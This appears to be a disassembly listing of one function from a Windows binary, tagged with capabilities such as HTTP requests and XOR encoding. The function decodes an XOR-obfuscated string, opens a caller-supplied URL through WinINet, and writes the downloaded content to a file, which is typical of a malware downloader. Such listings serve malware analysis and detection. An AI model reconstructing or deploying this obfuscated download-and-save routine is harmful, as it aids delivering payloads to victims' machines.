Function at 0x403620
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x431dc0
push eax
mov eax, 0x21d0
mov dword fs:[0], esp
call fcn.00414160
push esi
push edi
mov ecx, 0x3a
lea edi, [ebp - 0x1dc]
mov esi, 0x4334b0
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
cmp dword [0x444660], 2
lea esi, [ecx + 4]
jl 0x403790
movaps xmm4, xmmword [0x433330]
mov eax, 0x1f
movaps xmm3, xmmword [0x4336b0]
movaps xmm6, xmmword [str.2222]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4336a0]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1dc]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x1dc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4336a0]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1d4]
pxor xmm1, xmm0
movq qword [ebp + ecx*2 - 0x1d4], xmm1
add ecx, 8
cmp ecx, 0x70
jl 0x403690
cmp ecx, 0x74
jge 0x4037b9
nop dword [eax + eax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul eax, eax, 0x32
sub edx, eax
add edx, 0x39
xor word [ebp + ecx*2 - 0x1dc], dx
inc ecx
cmp ecx, 0x74
jl 0x403790
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x1c], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4037d7
sub ecx, edx
lea eax, [ebp - 0x1dc]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403fb0
cmp dword [ebp - 0x1c], 8
lea eax, [ebp - 0x30]
push 0
cmovae eax, dword [ebp - 0x30]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x1c]
mov edi, eax
mov dword [ebp - 0x14], edi
cmp edx, 8
jb 0x40384f
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403845
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4039e7
push edx
push ecx
call fcn.0041414e
add esp, 8
xor eax, eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
test edi, edi
je 0x403894
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x403872
mov eax, dword [eax]
push 0
push SysReAllocString
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x4038a9
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 0x10
jb 0x4038b4
mov eax, dword [eax]
push 1
push 0x40
push 0x20
push eax
lea ecx, [ebp - 0xf4]
call fcn.004025c0
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xf4], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xf8], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 4], 0
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xe8], 6
je 0x40391f
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0x14]
call esi
mov esi, 1
jmp 0x4039ca
lea eax, [ebp - 0x10]
push eax
push 0x2000
lea eax, [ebp - 0x21dc]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403977
nop word [eax + eax]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x403977
push 0
push eax
lea eax, [ebp - 0x21dc]
push eax
lea ecx, [ebp - 0xf4]
call fcn.00404de0
lea eax, [ebp - 0x10]
push eax
push 0x2000
lea eax, [ebp - 0x21dc]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403940
lea ecx, [ebp - 0xf0]
call fcn.00404140
test eax, eax
jne 0x4039ba
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0xbc], ecx
cmovne esi, ecx
or esi, dword [ebp + eax - 0xe8]
and esi, 0x15
or esi, 2
mov dword [ebp + eax - 0xe8], esi
mov eax, dword [ebp + eax - 0xe4]
and eax, esi
jne 0x4039ec
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0x14]
call esi
xor esi, esi
lea ecx, [ebp - 0xf4]
call fcn.00403280
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0041866f
test al, 4
je 0x4039f7
mov esi, str.ios_base::badbit_set
jmp 0x403a06
test al, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x18]
push 1
push eax
call fcn.00404470
add esp, 8
lea ecx, [ebp - 0x44]
push eax
push esi
call fcn.00402cf0
push 0x4409ac
lea eax, [ebp - 0x44]
push eax
call fcn.0041511f
int3